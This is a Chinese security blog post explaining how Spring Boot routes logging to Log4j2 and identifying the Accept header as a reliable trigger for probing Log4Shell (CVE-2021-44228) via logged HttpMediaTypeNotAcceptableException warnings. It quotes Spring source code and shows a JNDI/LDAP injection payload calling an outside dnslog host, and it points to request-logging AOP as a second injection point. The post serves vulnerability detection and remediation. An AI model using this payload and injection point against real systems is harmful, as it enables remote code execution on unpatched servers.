查看原文
其他

原创 | 浅谈Log4j2在Springboot的检测

tkswifty SecIN技术平台 2022-06-18

点击上方蓝字 关注我吧


引言

Apache Log4j是一个基于Java的日志记录工具。通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
其中的CVE-2021-44228从披露到整改修复已经持续了有一段时间了,跟struts2、fastjson这类的漏洞一样,log4j2的漏洞也会是持续的运营重点之一,例如版本控制、黑盒/白盒扫描等。那么针对Java生态中最常用的Spring框架,有没有一种稳定的触发方式,方便黑盒日常的扫描探测,来规避风险呢?
以Springboot为例,尝试找到一种稳定的触发方式来方便漏洞的排查/运营。

Spring日志相关

Spring默认使用的日志记录组件不是log4j,最开始在core包中引入的是commons-logging(JCL标准实现)的日志系统,官方考虑到兼容问题,在后续的Spring版本中并未予以替换,而是继续沿用。如果考虑到性能、效率,应该自行进行替换,可以在项目中明确指定使用的日志框架,从而在编译时就指定日志框架。
commons-logging日志系统是基于运行发现算法(常见的方式就是每次使用org.apache.commons.logging.LogFactory.getLogger(xxx),就会启动一次发现流程),获取最适合的日志系统完成日志记录的功能。部分源码实现:
  • 调用静态的getLog方法,通过LogAdapter适配器来创建具体的Logs对象:

public abstract class LogFactory {

public static Log getLog(String name) { return LogAdapter.createLog(name); }
  • LogAdapter在static代码中根据日志系统jar包类是否存在/可以被加载,识别当前系统的日志实现方式,默认使用JUL,然后使用 switch case的方式结合之前的判断来调用具体的日志适配器,创建具体Log对象

static { if (isPresent("org.apache.logging.log4j.spi.ExtendedLogger")) { if (isPresent("org.apache.logging.slf4j.SLF4JProvider") && isPresent("org.slf4j.spi.LocationAwareLogger")) { logApi = LogAdapter.LogApi.SLF4J_LAL; } else { logApi = LogAdapter.LogApi.LOG4J; } } else if (isPresent("org.slf4j.spi.LocationAwareLogger")) { logApi = LogAdapter.LogApi.SLF4J_LAL; } else if (isPresent("org.slf4j.Logger")) { logApi = LogAdapter.LogApi.SLF4J; } else { logApi = LogAdapter.LogApi.JUL;        }
}
public static Log createLog(String name) { switch(logApi) { case LOG4J: return LogAdapter.Log4jAdapter.createLog(name); case SLF4J_LAL: return LogAdapter.Slf4jAdapter.createLocationAwareLog(name); case SLF4J: return LogAdapter.Slf4jAdapter.createLog(name); default: return LogAdapter.JavaUtilAdapter.createLog(name); } }
  • 最后根据具体的日志框架对相应的方法进行包装适配,即可调用具体的日志系统方法。以log4j为例:

private static class Log4jLog implements Log, Serializable { private static final String FQCN = LogAdapter.Log4jLog.class.getName(); private static final LoggerContext loggerContext = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false); private final ExtendedLogger logger;
public Log4jLog(String name) { LoggerContext context = loggerContext; if (context == null) { context = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);            }
this.logger = context.getLogger(name); }
public boolean isFatalEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.FATAL); }
public boolean isErrorEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.ERROR); }
public boolean isWarnEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.WARN); }
public boolean isInfoEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.INFO); }
public boolean isDebugEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.DEBUG); }
public boolean isTraceEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.TRACE);        }
public void fatal(Object message) { this.log(org.apache.logging.log4j.Level.FATAL, message, (Throwable)null);        }
public void fatal(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.FATAL, message, exception); }
public void error(Object message) { this.log(org.apache.logging.log4j.Level.ERROR, message, (Throwable)null); }
public void error(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.ERROR, message, exception); }
public void warn(Object message) { this.log(org.apache.logging.log4j.Level.WARN, message, (Throwable)null); }
public void warn(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.WARN, message, exception); }
public void info(Object message) { this.log(org.apache.logging.log4j.Level.INFO, message, (Throwable)null); }
public void info(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.INFO, message, exception); }
public void debug(Object message) { this.log(org.apache.logging.log4j.Level.DEBUG, message, (Throwable)null); }
public void debug(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.DEBUG, message, exception); }
public void trace(Object message) { this.log(org.apache.logging.log4j.Level.TRACE, message, (Throwable)null); }
public void trace(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.TRACE, message, exception); }
private void log(org.apache.logging.log4j.Level level, Object message, Throwable exception) { if (message instanceof String) { if (exception != null) { this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message, exception); } else { this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message); } } else { this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, message, exception);            }
} }
以Springboot为例,引入log4j的日志解析方法如下:
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions></dependency><dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId></dependency>
PS:Spring的话同样的只需在依赖中剔除common-loggin包,然后引入其他日志系统就可以了:
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <exclusions> <exclusion> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> </exclusion> </exclusions></dependency>

Spring异常Exception相关

引入了漏洞版本的log4j依赖的话,自然会受到影响,如果想找到一个稳定触发验证的point。思路之一是可以寻找打印日志的地方。一般来说,系统在发生异常Exception的时候,有可能会进行日志操作
首先看下Spring异常处理的相关interface/class,看看能不能找到一些思路:
  • AbstractHandlerExceptionResolver抽象类
  • AbstractHandlerMethodExceptionResolver抽象类
  • ExceptionHandlerExceptionResolver类
  • DefaultHandlerExceptionResolver类
  • ResponseStatusExceptionResolver类
  • SimpleMappingExceptionResolver类
HandlerExceptionResolver接口是SpringMVC异常处理核心接口,定义了具体的异常解析方法:
ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex);
AbstractHandlerExceptionResolver会实现HandlerExceptionResolver接口,并在resolveException中定义了具体异常解析的方式,可以理解是一个通用的Exception处理框架:
public abstract class AbstractHandlerExceptionResolver implements HandlerExceptionResolver, Ordered { @Nullable public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) { if (!this.shouldApplyTo(request, handler)) { return null; } else { this.prepareResponse(ex, response); ModelAndView result = this.doResolveException(request, response, handler, ex); if (result != null) { if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) { this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result)); } //logException这里进行了日志输出。 this.logException(ex, request); }
return result; } }
类似DefaultHandlerExceptionResolver会继承AbstractHandlerExceptionResolver抽象类,基本上所有的spring内置异常解析类都会继承它:
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {

分析验证

根据上面提到的思路,类似ResponseStatusExceptionResolver会解析带有@ResponseStatus的异常类,将其中的异常信息描述直接返回给客户端。即使把对应的内容写入到了log message中,也有一定的触发条件,不符合稳定触发的预期,同理,AbstractHandlerMethodExceptionResolver,该类主要处理Controller中用@ExceptionHandler注解定义的方法。也有一定的前提。
DefaultHandlerExceptionResolver会对一些请求的异常进行处理,比如NoSuchRequestHandlingMethodException、HttpRequestMethodNotSupportedException、HttpMediaTypeNotSupportedException、HttpMediaTypeNotAcceptableException等。符合稳定触发的预期(例如request method异常,如果对应的内容封装到log4 message并且进行了打印即可触发):
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver { public static final String PAGE_NOT_FOUND_LOG_CATEGORY = "org.springframework.web.servlet.PageNotFound"; protected static final Log pageNotFoundLogger = LogFactory.getLog("org.springframework.web.servlet.PageNotFound"); public DefaultHandlerExceptionResolver() { setOrder(2147483647); setWarnLogCategory(getClass().getName()); } @Nullable protected ModelAndView doResolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) { try { if (ex instanceof HttpRequestMethodNotSupportedException) return handleHttpRequestMethodNotSupported((HttpRequestMethodNotSupportedException)ex, request, response, handler); if (ex instanceof HttpMediaTypeNotSupportedException) return handleHttpMediaTypeNotSupported((HttpMediaTypeNotSupportedException)ex, request, response, handler); if (ex instanceof HttpMediaTypeNotAcceptableException) return handleHttpMediaTypeNotAcceptable((HttpMediaTypeNotAcceptableException)ex, request, response, handler); if (ex instanceof MissingPathVariableException) return handleMissingPathVariable((MissingPathVariableException)ex, request, response, handler); if (ex instanceof MissingServletRequestParameterException) return handleMissingServletRequestParameter((MissingServletRequestParameterException)ex, request, response, handler); if (ex instanceof ServletRequestBindingException) return handleServletRequestBindingException((ServletRequestBindingException)ex, request, response, handler); if (ex instanceof ConversionNotSupportedException) return handleConversionNotSupported((ConversionNotSupportedException)ex, request, response, handler); if (ex instanceof TypeMismatchException) return handleTypeMismatch((TypeMismatchException)ex, request, response, handler); if (ex instanceof HttpMessageNotReadableException) return handleHttpMessageNotReadable((HttpMessageNotReadableException)ex, request, response, handler); if (ex instanceof HttpMessageNotWritableException) return handleHttpMessageNotWritable((HttpMessageNotWritableException)ex, request, response, handler); if (ex instanceof MethodArgumentNotValidException) return handleMethodArgumentNotValidException((MethodArgumentNotValidException)ex, request, response, handler); if (ex instanceof MissingServletRequestPartException) return handleMissingServletRequestPartException((MissingServletRequestPartException)ex, request, response, handler); if (ex instanceof BindException) return handleBindException((BindException)ex, request, response, handler); if (ex instanceof NoHandlerFoundException) return handleNoHandlerFoundException((NoHandlerFoundException)ex, request, response, handler); if (ex instanceof AsyncRequestTimeoutException) return handleAsyncRequestTimeoutException((AsyncRequestTimeoutException)ex, request, response, handler); } catch (Exception handlerEx) { if (this.logger.isWarnEnabled()) this.logger.warn("Failure while trying to resolve exception [" + ex.getClass().getName() + "]", handlerEx); } return null;
DefaultHandlerExceptionResolver继承自AbstractHandlerExceptionResolver且没有重写resolveException方法,那么会调用对应的逻辑:
@Nullable public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) { //判断是否需要异常解析 if (!this.shouldApplyTo(request, handler)) { return null; } else { this.prepareResponse(ex, response); ModelAndView result = this.doResolveException(request, response, handler, ex); if (result != null) { if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) { this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result)); } //日志输出 this.logException(ex, request);            }
return result; } }
在logException方法会将异常进行对应的日志输出:
protected void logException(Exception ex, HttpServletRequest request) { if (this.warnLogger != null && this.warnLogger.isWarnEnabled()) { this.warnLogger.warn(this.buildLogMessage(ex, request)); } }
这里调用的是warnLogger,根据前面对日志解析过程的分析,如果使用的日志框架是Log4j的话,Spring自适配后其调用的warn方法类似于Log4j的log.warn(),那么若能找到一个Exception其中的异常信息用户可控且调用了warnLogger.warn()的话便可找到一个稳定触发验证的point了:

根据上面的思路,查看符合条件的方法,通过检索HttpMediaTypeNotAcceptableException关键字发现了如下class,看看具体的内容:

在Spring中,HeaderContentNegotiationStrategy类主要负责HTTP Header里的Accept字段的解析,如果 Accept请求头不能被解析则抛出HttpMediaTypeNotAcceptableException异常,并且对应的Accept内容会封装进message中
/** * A {@code ContentNegotiationStrategy} that checks the 'Accept' request header. * * @author Rossen Stoyanchev * @author Juergen Hoeller * @since 3.2 */public class HeaderContentNegotiationStrategy implements ContentNegotiationStrategy { /** * {@inheritDoc} * @throws HttpMediaTypeNotAcceptableException if the 'Accept' header cannot be parsed */ @Override public List<MediaType> resolveMediaTypes(NativeWebRequest request) throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT); if (headerValueArray == null) { return MEDIA_TYPE_ALL_LIST;                }
List<String> headerValues = Arrays.asList(headerValueArray); try { List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues); MediaType.sortBySpecificityAndQuality(mediaTypes); return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST; } catch (InvalidMediaTypeException ex) { throw new HttpMediaTypeNotAcceptableException( "Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage()); } }
}
并且这里会进入DefaultHandlerExceptionResolver进行解析。
验证前面的猜想,在Accept字段写入相应的poc(poc内容肯定是不符合MediaType的):

可以看到由于MediaType转化错误打印了warn级别的日志(调用了AbstractHandlerExceptionResolver的warnLogger):
2021-12-26 11:01:31.782 WARN 11873 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}]: Invalid mime type "text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}": Invalid token character '{' in token "html${jndi:ldap://fyh9pj.dnslog.cn:1389/}"]
断点查看对应的message:

并且dnslog成功接收到请求,验证成功:

其他

除此以外,开发常常会使用自定的AOP来进行日志的打印,例如下面的例子记录了请求的方法和path(一些鉴权中间件为了调试/审计,会记录request请求的内容),也是一个可以尝试的point:
@Aspect@Configuration@Log4j2public class LogConsole { // 定义切点Pointcut @Pointcut("execution(* com.tools.toolmange.handler.*.*(..))") public void executeService() { } /** * 在切点之前织入 */ @Before("executeService()") public void doBefore(JoinPoint joinPoint) throws Throwable { // 开始打印请求日志 ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); if (request == null) return; String username = ""; try{ username = SecurityContextHolder.getUserDetails().getUsername(); }catch (Exception e){ log.info("打印请求参数,用户登陆过期 无法获取请求参数"); } // 打印请求相关参数 log.info("========================================== Start =========================================="); //请求人 log.info("UserCode :"+ username ); // 打印请求 url log.info("URL : {}", request.getRequestURL().toString()); // 打印 Http method log.info("HTTP Method : {}", request.getMethod()); // 打印调用 controller 的全路径以及执行方法 log.info("Class Method : {}.{}", joinPoint.getSignature().getDeclaringTypeName(), joinPoint.getSignature().getName()); // 打印请求的 IP log.info("IP : {}", request.getRemoteAddr()); // 打印请求入参 log.info("Request Args : {}", JSONUtil.toJsonStr(joinPoint.getArgs())); } /** * 在切点之后织入 */ @After("executeService()") public void doAfter() throws Throwable { log.info("=========================================== End ==========================================="); // 每个请求之间空一行 log.info(""); } /** * 环绕 */ @Around("executeService()") public Object doAround(ProceedingJoinPoint proceedingJoinPoint) throws Throwable { long startTime = System.currentTimeMillis(); Object result = proceedingJoinPoint.proceed(); // 执行耗时 log.info("Time-Consuming : {} ms", System.currentTimeMillis() - startTime); return result; } }


相关推荐




原创 | 绕过后缀安全检查进行文件上传-2
原创 | 某cms比较有意思的sql注入
原创 | 浅谈httpClient组件与ssrf
你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存